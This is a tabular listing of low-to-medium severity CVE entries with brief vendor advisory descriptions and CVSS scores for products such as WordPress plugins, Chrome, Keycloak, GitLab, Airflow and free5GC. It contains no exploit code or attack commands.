CVE-2026-49052	Missing Authorization vulnerability in Wpmet ElementsKit Elementor addons Lite allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects ElementsKit Elementor addons Lite: from n/a through 3.9.6.	4.3	More Details
CVE-2026-49051	Missing Authorization vulnerability in Prasad Kirpekar WP Meta and Date Remover allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Meta and Date Remover: from n/a through 2.3.6.	4.3	More Details
CVE-2026-49047	Missing Authorization vulnerability in DearHive DearFlip allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects DearFlip: from n/a through 2.4.27.	4.3	More Details
CVE-2026-49045	Missing Authorization vulnerability in WP Media Adminimize allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Adminimize: from n/a through 1.11.11.	4.3	More Details
CVE-2025-70116	A NULL pointer dereference in GPAC MP4Box: when parsing certain truncated MP4 files, an unknown/invalid stsd entry can result in missing descriptor fields (e.g., codec/mime/profile strings). gf_media_map_esd then calls strlen() on a NULL pointer, triggering a crash (ASan SEGV).	4.3	More Details
CVE-2026-10113	A vulnerability was found in Open5GS up to 2.7.7. Affected by this vulnerability is an unknown functionality in the library lib/sbi/nnrf-handler.c of the component Shared NF-profile Parser. The manipulation results in denial of service. It is possible to launch the attack remotely. The exploit has been made public and could be used. A patch should be applied to remediate this issue.	4.3	More Details
CVE-			

2026-48923	Jenkins AppSpider Plugin 1.0.17 and earlier does not perform a permission check in a method implementing form validation, allowing attackers with Overall/Read permission to connect to an attacker-specified URL.	4.3	More Details
CVE-2026-1248	IBM Business Automation Workflow containers and traditional may leak information about its database structure in error messages.	4.3	More Details
CVE-2026-49378	In JetBrains TeamCity before 2026.1 credentials parameters were exposed via parameter autocompletion	4.3	More Details
CVE-2026-9911	Integer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-9907	Out of bounds read in Dawn in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-2601	GitLab has remediated an issue in GitLab EE affecting all versions from 11.5 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to access sensitive deployment data on projects due to improper authorization checks.	4.3	More Details
CVE-2026-24756	Kiteworks is a private data network (PDN). Prior to version 9.3.0, an Insecure Direct Object Reference (IDOR) vulnerability in Kiteworks Secure Data Forms allows an authenticated user to modify resources belonging to other users due to insufficient authorization checks on resource ownership. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	4.3	More Details
CVE-2025-14481	The Yoast SEO plugin for WordPress is vulnerable to Insecure Direct Object References in all versions up to, and including, 26.5. This is due to insufficient authorization checks in the Meta Search REST API endpoint that fail to verify post ownership. This makes it possible for authenticated attackers, with Contributor-level access and above, to read sensitive SEO metadata from any post on the site via the 'post_id' parameter, including posts owned by other users, private posts, and draft posts.	4.3	More Details
CVE-2026-2255	Hitachi Vantara Pentaho Data Integration & Analytics versions before 10.2.0.6 and 11.0.0.0, including 9.3.x and 8.3.x, expose Hadoop cluster credentials in plain text through the Cluster Test API. Although the user should not see those explicitly, the defect is mitigated by the fact the user can already leverage those credentials to submit jobs under the same account through the backend API.	4.3	More Details
CVE-2026-44323	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable. This vulnerability is fixed in 4.2.2.	4.3	More Details
CVE-2026-28511	eLabFTW is an open source electronic lab notebook. Prior to version 5.4.2, in certain cases, an authenticated user performing a numeric reference/search can return results that include resources the requesting user is not authorized to view. The exposed information is limited (only the title). Attempts to access the underlying protected resource content remain blocked by authorization checks. Version 5.4.2 fixes the issue. # Affected Scope Cross-scope visibility of titles. No confirmed bypass of content-level access controls # Preconditions An authenticated user account No special privileges required beyond standard access # Impact This may enable unauthorized disclosure of sensitive information if confidential data is included in resource titles. Examples could include project names, patient identifiers, or other regulated information embedded in titles.	4.3	More Details
CVE-2026-49054	Missing Authorization vulnerability in Mamunur Rashid The Post Grid allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects The Post Grid: from n/a through 7.9.2.	4.3	More Details
CVE-2026-10301	A vulnerability was detected in itsourcecode Fees Management System 1.0. The affected element is an unknown function of the file index.php. Performing a manipulation of the argument page results in cross site scripting. The attack may be initiated remotely. The exploit is now public and may be used.	4.3	More Details
CVE-2026-48810	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.221, while investigating the ThreadPolicy::delete issue reported previously, the same missing mailbox membership check was found in the sibling ThreadPolicy::edit method. A user with the PERM_EDIT_CONVERSATIONS permission who created a message or internal note in Mailbox A can rewrite that thread's body after an administrator removes them from Mailbox A, because the policy checks only authorship and a global	4.3	More Details

	permission flag — not current mailbox membership. This vulnerability is fixed in 1.8.221.		
CVE-2026-48811	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.221, FreeScout allows a non-admin user to permanently delete an internal note (private thread) from any conversation, even after that user's access to the mailbox containing the conversation has been revoked. The ThreadPolicy::delete authorization policy does not verify mailbox membership, so a former team member retains destructive write access to notes they created. This vulnerability is fixed in 1.8.221.	4.3	More Details
CVE-2026-10028	A flaw was found in glib-networking. A remote attacker can exploit this vulnerability by presenting a specially crafted certificate chain to an application that uses glib-networking with the GnuTLS backend enabled and performs certificate verification. This crafted chain, which contains circular issuer relationships, can cause an infinite loop during certificate verification. The unbounded traversal consumes excessive CPU resources, leading to a denial of service for the affected process or worker.	4.3	More Details
CVE-2026-9791	A flaw was found in Keycloak. An authenticated user with existing organization membership can exploit this flaw by accessing user-facing APIs, such as the account API or by requesting an OpenID Connect (OIDC) token with the 'organization' scope. This allows organization metadata to be disclosed in tokens, even after an administrator has explicitly disabled the Organizations feature, potentially leading to incorrect authorization decisions by resource servers.	4.3	More Details
CVE-2026-9798	A flaw was found in Keycloak, an open-source identity and access management solution. When a user account is temporarily locked due to repeated failed login attempts, an attacker with valid client credentials can exploit the Client-Initiated Backchannel Authentication (CIBA) flow to bypass this brute-force protection. This allows continued authentication attempts and token issuance even when the account should be locked, potentially enabling further unauthorized access attempts.	4.3	More Details
CVE-2026-46764	The Event Log detail endpoint `GET /api/v2/eventLogs/{event_log_id}` in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint `GET /api/v2/eventLogs` applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	4.3	More Details
CVE-2026-10294	A vulnerability has been found in PackageKit up to 1.3.5. Affected is the function g_file_test of the file src/pk-transaction.c of the component API. Such manipulation of the argument frontend-socket leads to improper authorization. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.	4.3	More Details
CVE-2026-9807	GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.9 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed a blocked Project Access Token to continue accessing private resources due to incorrect authorization enforcement.	4.3	More Details
CVE-2026-41160	EspoCRM is an open source customer relationship management application. Prior to 9.3.5, a business logic flaw (Broken Access Control) in EspoCRM 9.3.3 allows low-privileged users to pin arbitrary notes without having the required edit permissions for the parent object. Due to a "write first, authorize later" execution flaw in the backend API, even though the server correctly returns a 403 Forbidden error, the targeted note's pinned status is already persistently modified in the database. The root cause lies in the server-side processing of the POST /api/v1/Note/{id}/pin endpoint. In application/Espo/Tools/Stream/Api/PostNotePin.php, the process() method first calls getNote($id) before calling checkParent($note). This vulnerability is fixed in 9.3.5.	4.3	More Details
CVE-2026-9955	Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-8942	The MetaMagic SEO Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.6. This is due to missing or incorrect nonce validation on the metamagic_update_options function. This makes it possible for unauthenticated attackers to modify the plugin's SEO settings, including enabling or disabling the plugin and toggling description and keyword meta tag output via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-41014	The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	4.3	More Details
CVE-2026-46605	Incomplete authorization by Apache ActiveMQ server before versions v6.2.6 and v5.19.7 allows authenticated connections to remove existing destinations with proper permissions. This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version v6.2.6 or v5.19.7, which fixes the issue.	4.3	More Details

CVE-2026-9930	Out of bounds write in Dawn in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-40914	A vulnerability exists in Apache Artemis whereby an application using the STOMP protocol with security credentials that grant either the consume or send permission on an address can augment the routing-type supported by that address even if said user doesn't have the createAddress permission for that particular address. A user could successfully send a message to an address or consume a message from a queue with a routing-type not supported by the corresponding address when that operation should actually be rejected on the basis that the user doesn't have permission to change the routing-type of the address. Even though the user was already granted permission to send and/or consume messages, they should not be able to augment the routing-type of the address without the createAddress permission. This issue affects Apache Artemis: from 2.50.0 through 2.53.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0. Users are recommended to upgrade to version 2.54.0, which fixes the issue.	4.3	More Details
CVE-2026-47696	WWBN AVideo is an open source video platform. In 29.0 and earlier, plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter. The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record. This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.	4.3	More Details
CVE-2026-10291	A security vulnerability has been detected in Enderfga claw-orchestrator up to 3.7.0. The impacted element is the function validateRegex of the file claw-orchestrator/src/embedded-server.ts of the component Session Grep Endpoint. The manipulation of the argument body.pattern leads to inefficient regular expression complexity. The attack may be initiated remotely. Upgrading to version 3.7.1 is sufficient to resolve this issue. The identifier of the patch is 3f970a974c65a94555c25af9f2796f11315e4584. It is recommended to upgrade the affected component.	4.3	More Details
CVE-2026-8689	The Visualizer: Tables and Charts Manager for WordPress plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.11.14. This is due to a missing capability check on the renderChartPages() and uploadData() functions, where the wp_ajax_visualizer-create-chart and wp_ajax_visualizer-edit-chart AJAX actions invoke renderChartPages() without any current_user_can() check, and wp_ajax_visualizer-upload-data invokes uploadData() which also lacks a capability check and validates its nonce without an action argument, making it trivially bypassable. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary chart posts and access or modify chart data belonging to other users, including administrators.	4.3	More Details
CVE-2026-34193	Kernel software installed and running inside a Guest/Host VM may post improper commands to the GPU Firmware to trigger a write of data outside the intended GPU memory. A logic error in the address translation allowed a compromised Host (Kernel) to perform arbitrary writes to firmware memory.	4.3	More Details
CVE-2026-8995	The Poll Maker – Versus Polls, Anonymous Polls, Image Polls plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to and including 6.3.7. This is due to insufficient access controls on the 'ays_poll_get_user_information' AJAX action, which serializes and returns the complete WP_User object — including the user_pass (bcrypt password hash), user_email, user_login, user_registered, roles, and all capabilities — without any nonce verification or capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve sensitive account data including their own password hash, which WordPress does not expose through any of its standard interfaces and which can be leveraged for offline password-cracking attacks.	4.3	More Details
CVE-2026-49323	Weak authentication between the Wireless Control Module (WCM) and the Engine Control Module (ECM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with read access to the in-vehicle network to recover the per-vehicle ECM immobilizer secret by passively observing a single seed/key exchange. The WCM derives its response using a reversible, non-cryptographic operation rather than a cryptographic challenge-response, so the persistent immobilizer secret can be reconstructed from one captured exchange. With this secret the attacker can authenticate to the ECM independently of the WCM and start the engine, defeating the immobilizer. Specific protocol details have been withheld pending vendor remediation.	4.3	More Details
CVE-2026-49322	Weak authentication in the Wireless Control Module (WCM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with read access to the in-vehicle network to recover the user-set unlock PIN by passively observing a single PIN authentication exchange. The Infotainment Digital Round display computes its response using a non-cryptographic operation rather than a cryptographic challenge-response, so the PIN is mathematically derivable from one captured exchange, defeating the motorcycle's primary user-authentication control. Specific protocol details have been withheld pending vendor remediation.	4.3	More Details
CVE-2026-	Nextcloud is an open source content collaboration platform. From versions 17.0.0 to before 17.0.15, 18.0.0 to before 18.1.12, 19.0.0 to before 19.1.16, 20.0.0 to before 20.1.11, and 21.0.0 to before 21.0.4, a user with READ and CREATE permission, but no UPDATE permission for a team folder can rename files in the team	4.3	More Details

45264	folder. This issue has been patched in versions 17.0.15, 18.1.12, 19.1.16, 20.1.11, and 21.0.4.		
CVE-2026-10282	A security vulnerability has been detected in Bottelet DaybydayCRM up to 2.2.1. This impacts the function view of the file app/Http/Controllers/DocumentsController.php. Such manipulation leads to improper authorization. The attack may be launched remotely. It is best practice to apply a patch to resolve this issue.	4.3	More Details
CVE-2026-45286	Nextcloud is an open source content collaboration platform. From versions 5.5.13 to before 5.5.17, and 6.2.0 to before 6.2.3, an authenticated user can enumerate users on the same Nextcloud instance by using the Calendar app's endpoint for suggesting attendees. The sharing restrictions, applied to other endpoints, were not effective here. This issue has been patched in versions 5.5.17 and 6.2.3.	4.3	More Details
CVE-2026-45544	Nextcloud is an open source content collaboration platform. From version 0.8.0 to before version 1.0.4, the view filter criteria is exposed to users with read-only permissions in Nextcloud Tables. This issue has been patched in versions 1.0.4 and 2.0.0.	4.3	More Details
CVE-2026-45729	Thor Vector Graphics (ThorVG) is a production-ready vector graphics engine. Prior to version 1.0.5, a null pointer dereference in SvgLoader::run() allows any caller that passes untrusted SVG data to Picture::load() to crash the process with a 6-byte payload. This issue has been patched in version 1.0.5.	4.3	More Details
CVE-2026-9015	The Equalize Digital Accessibility Checker – WCAG, ADA, EAA and Section 508 compliance plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.42.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the ignore state, ignore reason, and ignore comment of arbitrary accessibility issues across the entire site — including mass modification of all rows sharing an 'object' identifier when largeBatch=true is supplied — corrupting accessibility audit integrity by hiding or dismissing findings outside their authorization scope.	4.3	More Details
CVE-2026-48973	Missing Authorization vulnerability in Benbodhi SVG Support allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects SVG Support: from n/a through 2.5.14.	4.3	More Details
CVE-2026-7526	The PDF Embedder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.9.3 via the enqueue_block_assets. This makes it possible for authenticated attackers, with contributor-level access and above, to extract configuration data. License key exposure occurs when the premium add-on is also installed and has saved a key; on Lite-only installations, the exposed data is limited to non-sensitive viewer configuration values such as width, height, toolbar settings, usage tracking, and plan.	4.3	More Details
CVE-2026-9618	The PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net, NMI) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.120.46. This is due to missing or incorrect nonce validation on the peachpay_stripe_handle_admin_actions function. This makes it possible for unauthenticated attackers to permanently delete all stored Stripe credentials — including publishable keys, secret keys, webhook secrets, and Apple Pay configuration — from the WordPress database, disabling Stripe payment processing for the store via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-7533	The Easy Digital Downloads plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.6.7. This is due to missing nonce verification in the `handle_oauth_redirect()` function, which is registered on the `admin_init` hook and processes Square OAuth tokens from a user-supplied GET parameter without any CSRF token validation. This makes it possible for unauthenticated attackers to overwrite the store's Square payment gateway credentials by tricking a logged-in administrator into clicking a crafted link, potentially resulting in payment account hijacking.	4.3	More Details
CVE-2026-49140	Nanobot prior to version 0.2.1 contains a denial of service vulnerability in the Matrix channel media download handler that allows authenticated room members to exhaust process memory and bandwidth by sending media events with missing or invalid size metadata. Attackers can send multiple concurrent Matrix media events with omitted or invalid declared sizes to trigger simultaneous large media downloads that fully materialize response bodies before post-download rejection, consuming process resources until service degradation occurs.	4.3	More Details
CVE-2026-9943	Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-9935	Uninitialized Use in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-7621	The SMTP2GO for WordPress – Email Made Easy plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 1.16.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to truncate all SMTP2GO log records from the database or download a CSV export of all	4.3	More Details

	SMTP log data including recipient addresses, sender addresses, message subjects, and API response data.		
CVE-2026-47675	Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.21, the serialize() function in hono/cookie validates domain and path options against characters that corrupt Set-Cookie header syntax (;, \r, \n), but does not apply the same validation to sameSite and priority. An application that passes user-controlled input into either option may produce a Set-Cookie response header containing attacker-chosen additional attributes. This vulnerability is fixed in 4.12.21.	4.3	More Details
CVE-2026-10215	A security vulnerability has been detected in Dolibarr ERP CRM up to 23.0.1. Impacted is the function checkUserAccessToObject of the file htdocs/holiday/class/api_holidays.class.php of the component Leave Request REST API. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 23.0.2 is recommended to address this issue. The identifier of the patch is ee93b6f2f9dd0f6aeefe9d718ab3ab0a44326b73. Upgrading the affected component is advised.	4.3	More Details
CVE-2026-32906	OpenClaw before 2026.5.12 contains a privilege escalation vulnerability in Slack plugin approvals that allows exec-authorized users to resolve plugin approvals through the exec approver gate. Attackers with limited exec approval permissions can bypass intended approval splits to approve plugin actions outside operator configuration.	4.3	More Details
CVE-2026-8682	The 3D Viewer – 3D Model Viewer – Augmented Reality – Virtual Try On plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin settings by writing arbitrary data to the ar_try_on_settings option in the database via the /wp-json/ar_try_on/v1/settings REST endpoint.	4.3	More Details
CVE-2026-9689	A flaw was found in Keycloak, an open-source identity and access management solution. When a client application is configured to accept broad redirect Uniform Resource Identifiers (URIs), a remote attacker can manipulate the authentication process by crafting a special web address. If a user clicks this link, the client application might incorrectly prioritize attacker-controlled information over legitimate data. This vulnerability, known as HTTP parameter pollution, could allow an attacker to bypass security measures or gain unauthorized access to resources.	4.2	More Details
CVE-2026-9986	Insufficient validation of untrusted input in OptimizationGuide in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)	4.2	More Details
CVE-2026-48522	PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.	4.2	More Details
CVE-2026-46424	Budibase is an open-source low-code platform. Prior to 3.38.2, the public API role unassignment endpoint (POST /api/public/v1/roles/unassign) updates user documents in CouchDB but does not invalidate the corresponding Redis user cache entries. Because the authentication middleware resolves user identity and permissions from this cache (TTL: 3600 seconds), a user whose admin, builder, or app-level roles have been revoked via the public API retains those privileges for up to 1 hour. This vulnerability is fixed in 3.38.2.	4.2	More Details
CVE-2026-10052	A flaw was found in the Quay config-tool's LDAP and SMTP validation functions. An attacker with config editor access can exploit these functions, which make outbound connections to user-supplied endpoints without proper IP or host filtering. This allows the attacker to perform internal network reconnaissance from the Quay pod's network position, potentially mapping the internal network infrastructure.	4.1	More Details
CVE-2026-42401	Improper Neutralization of Input During Web Page Generation (CWE-79) in Kibana can lead to stored HTML injection. A user with write access to an Elasticsearch index could persist crafted markup which, when subsequently rendered through an affected Kibana view by another user, was not sufficiently sanitized. Successful exploitation could result in unauthorized UI manipulation and outbound network requests issued from the viewing user's browser session.	4.1	More Details
CVE-2026-21785	A misconfigured Content Security Policy (CSP) in HCL BigFix Remote Control Server WebUI (versions 10.1.0.0442 and earlier) fails to define directives without fallbacks, allowing attackers to bypass intended security restrictions and load unauthorized resources.	4.0	More Details
CVE-2026-28581	In fixInitiatingUserIfNecessary of CallIntentProcessor.java, there is a possible way to make an emergency call due to a logic error in the code. This could lead to local with null execution privileges needed. User interaction is null for exploitation.	4.0	More Details

CVE-2026-10099	XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.	4.0	More Details
CVE-2026-47104	libusb before version 1.0.30 contains a one-byte out-of-bounds read vulnerability in parse_iad_array() in descriptor.c that allows attackers to trigger a denial of service by supplying a malformed USB descriptor whose bLength equals size minus one, causing the bounds check to use the original buffer size instead of the remaining size. Attackers in virtualized environments with USB passthrough can supply crafted descriptors through libusb_get_active_interface_association_descriptors or libusb_get_interface_association_descriptors to read one byte past the end of the malloc allocation, resulting in a denial of service.	4.0	More Details
CVE-2026-30963	Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.	3.9	More Details
CVE-2026-40528	OpenSC before 0.27.0, fixed in commit 0358817, contains a stack and heap buffer overrun vulnerability in the do_key_value() function in src/pkcs15init/profile.c that allows attackers to corrupt memory by supplying a crafted profile configuration file. During pkcs15-init invocation, a key value entry beginning with '=' followed by more than sizeof(keybuf) characters is copied into keybuf via memcpy without a length check, causing both stack and heap buffer overruns.	3.8	More Details
CVE-2026-6816	An access bypass vulnerability in Drupal TFA Basic Plugins allows users with the administer users permission to view or generate recovery codes for other users. This issue affects TFA Basic Plugins: from 7.x-1.0 through 7.x-1.2.	3.8	More Details
CVE-2026-10299	A weakness has been identified in code-projects Online Hospital Management System 1.0. This issue affects some unknown processing of the file viewdoctortimings.php. This manipulation of the argument delid causes improper control of resource identifiers. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.	3.8	More Details
CVE-2026-40510	OpenSC before 0.27.0-rc1, fixed in commit 3f24f0b, contains a stack buffer overflow vulnerability in piv_process_history() in src/libopensc/card-piv.c that allows physically present attackers to trigger memory corruption by presenting a crafted PIV smart card or USB device returning a URL field longer than 118 bytes in the Key History Object ASN.1 response.	3.8	More Details
CVE-2026-42082	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the AMF in Free5GC does not enforce the concurrent security procedure rules defined in 3GPP TS 33.501 §6.9.5.1. The AMF does not check for ongoing N2 handover procedures before initiating a NAS Security Mode Command, and vice versa. This can lead to mismatches between NAS and AS security contexts in the network and the UE. This vulnerability is fixed in 4.2.2.	3.7	More Details
CVE-2026-48524	PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. This vulnerability is fixed in 2.13.0.	3.7	More Details
CVE-2026-10300	A security vulnerability has been detected in SGLang 0.5.10.post1. Impacted is an unknown function of the file python/sglang/srt/lora/lora_manager.py of the component Inference HTTP Endpoint. Such manipulation of the argument lora_path leads to reachable assertion. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is considered difficult. The exploit has been disclosed publicly and may be used. The pull request to fix this issue awaits acceptance.	3.7	More Details
CVE-2026-5419	A flaw was found in gnutls. The PKCS#7 padding check, performed during decryption, was not constant-time. This timing side-channel could allow a remote attacker to potentially leak sensitive information about the padding bytes through observable timing differences. This vulnerability is a form of information disclosure.	3.7	More Details
CVE-2026-10216	A vulnerability was detected in unitedbyai droidclaw up to 0.5.3. The affected element is an unknown function of the file server/src/routes/pairing.ts of the component claim Endpoint. The manipulation results in improper restriction of excessive authentication attempts. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is described as difficult. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded	3.7	More Details

	yet.		
CVE-2026-33552	Northern.tech Mender Enterprise Server before 4.1.1 has Incorrect Access Control.	3.7	More Details
CVE-2026-10169	A vulnerability was detected in OUSL-GROUP-BrinaryBrains School Student Management System up to 1e70e5ad1125b86dca4ee086eb6bb121f17708b6. Affected by this vulnerability is the function ajax_forgot_password of the file application/controllers/Login.php of the component Forgot Password Endpoint. The manipulation of the argument email results in weak password recovery. The attack can be launched remotely. This attack is characterized by high complexity. The exploitation appears to be difficult. The exploit is now public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.	3.7	More Details
CVE-2026-42791	Improper Certificate Validation vulnerability in Erlang OTP public_key (pubkey_ocsp module) allows forged OCSP responses signed with an expired responder certificate to be accepted as valid. OCSP response verification in pubkey_ocsp:verify_response/5 and pubkey_ocsp:is_authorized_responder/3 in lib/public_key/src/pubkey_ocsp.erl does not check the validity period (notBefore/notAfter) of the OCSP responder certificate. An attacker who has obtained the private key of an expired CA-designated OCSP responder certificate can forge OCSP responses that Erlang/OTP accepts as valid. This affects TLS clients using OCSP stapling via the ssl application: a malicious or compromised server can present a revoked TLS certificate together with a forged OCSP response signed by an expired responder key, and the client will accept the revoked certificate as valid. It also affects applications calling public_key:pkix_ocsp_validate/5 directly, where the impact depends on the use case — server-side client certificate validation using this API may allow authentication bypass with a revoked client certificate. This issue affects OTP from OTP 27.0 before OTP 27.3.4.12, 28.5.0.1, and 29.0.1 corresponding to public_key from 1.16 before 1.17.1.3, 1.20.3.1, and 1.21.1.	3.7	More Details
CVE-2026-24761	Kiteworks is a private data network (PDN). Prior to version 9.3.0, an Insecure Direct Object Reference (IDOR) vulnerability in Kiteworks Secure Data Forms allows an authenticated user to access metadata of resources belonging to other users due to insufficient authorization checks on resource ownership. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	3.7	More Details
CVE-2026-44474	Ella Core is a 5G core designed for private networks. Prior to 1.10.0, Ella Core didn't enforce security rules on concurrent running of security procedures defined in TS 33.501 §6.9.5.1 — it could send a NAS Security Mode Command while an N2 handover was still pending (and vice versa). Concurrent Security Mode Command and N2 handover produce a KgNB mismatch between the UE and target gNB, causing the handover to fail. Requires a stalled gNB + re-registration race to trigger. This vulnerability is fixed in 1.10.0.	3.7	More Details
